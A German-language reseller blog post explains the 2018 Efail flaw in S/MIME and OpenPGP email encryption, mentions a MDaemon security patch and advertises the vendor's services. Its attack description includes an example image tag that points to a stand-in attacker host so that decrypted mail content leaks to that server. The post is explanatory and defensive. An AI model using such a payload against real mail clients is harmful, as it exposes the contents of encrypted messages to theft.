Am 14. Mai 2018 berichtete die Electronic Frontier Foundation (EFF) über die Sicherheitslücke Efail, dass europäische Forscher grundlegende, gravierende Sicherheitsprobleme in der alltäglichen Anwendung von S/MIME und OpenPGP Protokoll-Spezifikationen aufgedeckt haben. Hacker können diese Schwachstelle – genannt Efail – ausnutzen, um die Inhalte von verschlüsselten E-Mails abzugreifen. Während beim webbasierten E-Mail-Client MDaemon Webmail (ehemals MDaemon WorldClient) keine Schwachstelle dieser Art festgestellt wurde, ist dennoch die OpenPGP-Anwendung des MDaemon Messaging Server unter Umständen angreifbar. Einen entsprechenden Sicherheitspatch hat MDaemon Technologies in Version 18.0.1. bereits veröffentlicht.
So nutzen Hacker die Sicherheitslücke Efail aus
Im ersten Schritt müssen Hacker sich Zugang zum E-Mail-System verschaffen, denn Ergebnisse der Forschergruppe zeigen: Die Schwachstelle hat ihren Ursprung weniger in der Verschlüsselung als vielmehr im Client selbst; genauer gesagt in der Art und Weise, wie dieser mit HTML-Code und externen Informationen – wie Bildern und Style-Informationen – umgeht. Ist der E-Mail-Client so konfiguriert, dass automatisch Inhalte von externen Quellen heruntergeladen werden, greifen Hacker genau hier ein und machen sich diesen Ablauf zu Nutze.
Hat ein Angreifer Zugriff auf eine verschlüsselte E-Mail erlangt – auch wenn diese bereits versendet wurde –, kann er sie in eine vielteilige HTML-Nachricht konvertieren und unter Angabe des ursprünglichen Absenders erneut verschicken. Dabei implementiert er beispielsweise einen Bild-Tag wie <img src=“https://attackersite.com/> vor der Dateiendung .jpg. Versucht nun der Client, dieses Stück Code umzusetzen, verbindet er sich automatisch mit dem Server des Angreifers, der hier die Anfrage des Clients abfängt und dabei die E-Mail als klare Textnachricht vorliegen hat.
So schützen Sie sich vor der Sicherheitslücke Efail
Da Hacker nur dann den Efail ausnutzen können, wenn sie bereits Zugriff auf das E-Mail-System haben, ist Vorsicht bereits eine der besten Sicherheitsmaßnahmen. Klären Sie Ihre Mitarbeiter zu Social Engineering und Man in the Middle-Attacken auf – denn dies sind die häufigsten Methoden, um E-Mail-Server, Backup-Systeme oder Clients zu kompromittieren.
Dazu zeigt sich in solchen Fällen, dass ein ganzheitliches Netzwerk- und E-Mail-Sicherheitskonzept unverzichtbar ist. Ineinandergreifende Maßnahmen wie starke Passwörter, 2-Faktor-Authentifizierung, SSL/TLS-Protokolle, SMTP-Authentication, IP-Shielding und Account-Sperren nach Anmeldefehlversuchen schützen Ihre Systeme bereits, bevor es zum Ernstfall kommen kann.
Unverzichtbar – sichere E-Mail-Kommunikation mit dem MDaemon Messaging Server
Sie tauschen wichtige Informationen und Absprachen via E-Mail aus und müssen sich daher darauf verlassen, dass dieser Kommunikationsweg reibungslos und sicher funktioniert. Der zeitnahe Sicherheitspatch zeigt, dass auch im Falle unvorhergesehener Problematiken MDaemon Technologies umgehend reagiert – damit wird der MDaemon Messaging Server als ohnehin schon enorm sicherer und flexibler E-Mail- und Groupware-Server noch weiter abgerundet.
Informieren Sie sich also noch heute noch bei uns zu Ihren Chancen und Vorteilen mit MDaemon. Bei Fragen stehen wir Ihnen auch gern persönlich zur Verfügung, via E-Mail oder Telefon unter +49 (0)7331 9461249.
Unser Tipp
Unser Security-Team berät Sie auch gern zu einem umfassenden Sicherheitskonzept jenseits der E-Mail-Security – ob Antiviren-Lösungen, Internetsicherheit oder Netzwerk-Monitoring. Kontaktieren Sie uns einfach via E-Mail oder Telefon unter +49 (0)7331 9461249.